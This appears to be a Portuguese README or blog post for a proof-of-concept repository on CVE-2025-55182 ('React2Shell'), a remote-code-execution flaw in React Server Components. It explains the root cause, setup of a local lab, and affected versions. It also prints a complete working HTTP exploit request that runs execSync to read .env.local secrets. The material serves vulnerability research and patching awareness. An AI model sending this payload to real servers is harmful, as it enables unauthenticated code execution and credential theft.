
Este repositório fornece uma prova de conceito para a CVE-2025-55182 (React2Shell), uma vulnerabilidade de execução remota de código no React Server Components. Demonstra como o exploit funciona, incluindo o payload e o impacto.
A CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica de execução remota de código (RCE) que afeta os React Server Components. Essa falha permite que atacantes não autenticados executem código arbitrário em servidores vulneráveis ao explorar um problema de desserialização insegura no protocolo Flight do React.
Devido à sua pontuação CVSS de 10.0, esta vulnerabilidade é altamente grave e requer atenção imediata. Neste post, vou apresentar os detalhes da vulnerabilidade, o mecanismo de exploração e fornecer uma demonstração de prova de conceito (PoC). Vamos mergulhar.
As seguintes versões dos React Server Components e pacotes relacionados são vulneráveis:
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Pacotes Afetados:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js é uma das bibliotecas JavaScript mais populares para a construção de interfaces de usuário, especialmente no contexto de aplicações de página única (SPAs). Ela permite que os desenvolvedores criem experiências de usuário dinâmicas e interativas.
React Server Components (RSC) é um recurso experimental que permite que algumas partes de um aplicativo React sejam renderizadas no servidor, em vez de no cliente. Isso reduz a quantidade de JavaScript necessária no lado do cliente e melhora o desempenho, especialmente em aplicações de grande porte.
No entanto, o RSC introduz novas complexidades, particularmente na forma como os dados são trocados entre o servidor e o cliente. A CVE-2025-55182 explora um desses problemas com o protocolo Flight, que é usado no RSC para transferir dados entre o servidor e o cliente.
A CVE-2025-55182 decorre da desserialização insegura no protocolo Flight do React. Desserialização é o processo de converter dados serializados (geralmente JSON) em um objeto na memória. O React usa esse processo para lidar com os dados trocados entre o servidor e o cliente durante a renderização no lado do servidor.
No entanto, a implementação de desserialização do React é insegura. Especificamente, o React usa notação de colchetes para acessar propriedades de objetos (por exemplo, moduleExports[metadata[2]]), o que permite que atacantes manipulem a cadeia de protótipos dos objetos JavaScript. Isso resulta em poluição de protótipo e abre a possibilidade de modificar as propriedades de objetos de maneiras inesperadas, permitindo que atacantes explorem a lógica de desserialização.
A raiz da vulnerabilidade está na forma como o React lida com payloads do protocolo Flight. O uso de notação de colchetes para acesso a propriedades permite que atacantes percorram a cadeia de protótipos, concedendo-lhes acesso a propriedades que normalmente não deveriam ser acessíveis — como constructor. Ao manipular essa propriedade, os atacantes podem acessar o construtor global Function e executar código JavaScript arbitrário no servidor.
A exploração funciona enviando um payload especialmente elaborado para o servidor, que manipula a lógica de desserialização do protocolo Flight. Ao combinar poluição de protótipo e desserialização insegura, um atacante pode obter o controle do servidor e executar código arbitrário.
Os principais componentes do ataque incluem:
Poluição de Protótipo: O atacante manipula a cadeia de protótipos de um objeto para injetar novas propriedades, incluindo as propriedades constructor e Function.
Execução do Payload: Uma vez que o atacante tenha acesso ao construtor Function, ele pode executar código JavaScript arbitrário, como ler arquivos ou executar comandos do sistema.
Para testar a exploração, você precisará de um ambiente React vulnerável. Veja como configurá-lo:
npx [email protected] poc-react2shell cd poc-react2shell
Alternativamente, você pode usar um repositório GitHub pré-configurado que já contém a configuração vulnerável.
Criar um Arquivo de Ambiente de Teste
No diretório raiz do seu projeto, crie um arquivo .env.local contendo dados confidenciais, como chaves de API. O atacante terá como alvo esse arquivo na PoC:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Iniciar o Servidor de Desenvolvimento
Execute o servidor de desenvolvimento:
npm run dev
O servidor vulnerável agora deve estar em execução em http://localhost:3000.
Quando seu ambiente estiver pronto, você pode enviar o payload malicioso para acionar a exploração. É aqui que o Burp Suite ou qualquer outra ferramenta de proxy HTTP se torna útil.
Enviar o Payload Malicioso
Abra o Burp Suite e navegue até a aba Repeater. Defina a URL de destino como http://localhost:3000/ e envie o seguinte payload malicioso:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Analisar a Resposta
Após enviar a solicitação, se a exploração for bem-sucedida, o servidor responderá com o conteúdo do seu arquivo .env.local (ou qualquer dado confidencial nas variáveis de ambiente). Isso confirma o acesso do atacante a dados confidenciais.

Host: Especifica o servidor de destino (localhost:3000).
User-Agent: Identifica o cliente que faz a solicitação. A string normalmente é de um navegador, mas aqui pode ser elaborada para ofuscar o ataque.
Next-Action: Provavelmente parte do processamento do Next.js, pode confundir o servidor ou interagir com o processo de desserialização.
X-Nextjs-Request-Id: ID de solicitação exclusivo para rastreamento e depuração no Next.js.
Content-Type: Dados de formulário multipart, usados para dados estruturados como JSON ou uploads de arquivos.
Content-Length: Indica o comprimento do corpo da solicitação.
Campo 0: Contém o payload que aciona a poluição de protótipo. Ele modifica o protótipo do objeto, adiciona uma nova propriedade then e inclui um objeto _response malicioso. O _prefix executa um comando child_process para ler o arquivo .env.local.
Campo 1: Faz referência ao Campo 0 para propagar o ataque.
Campo 2: Array vazio, garantindo que a estrutura do payload permaneça intacta.
A vulnerabilidade CVE-2025-55182 permite que atacantes:
Executem código arbitrário no servidor.
Leiam arquivos confidenciais, como chaves de API e arquivos de configuração.
Estabeleçam shells reversos, potencialmente obtendo controle total do servidor.
Exfiltrem dados confidenciais do servidor.
A CVE-2025-55182 (React2Shell) é uma vulnerabilidade crítica nos React Server Components que permite que atacantes não autenticados executem código arbitrário em servidores vulneráveis. Ao explorar desserialização insegura e poluição de protótipo, os atacantes podem obter controle total sobre o servidor, ler dados confidenciais e executar comandos maliciosos.
Se você estiver usando React Server Components, é crucial atualizar para as versões corrigidas mais recentes para mitigar essa vulnerabilidade. Seguir as melhores práticas de segurança, como validação de entrada e tratamento adequado da desserialização, é essencial para prevenir vulnerabilidades semelhantes.
Esta prova de conceito destina-se exclusivamente a fins educacionais e de pesquisa. Não tente explorar ou testar vulnerabilidades em qualquer sistema sem consentimento explícito e por escrito do proprietário do sistema. Testes não autorizados podem ser ilegais e antiéticos. Sempre siga práticas legais e responsáveis em segurança cibernética.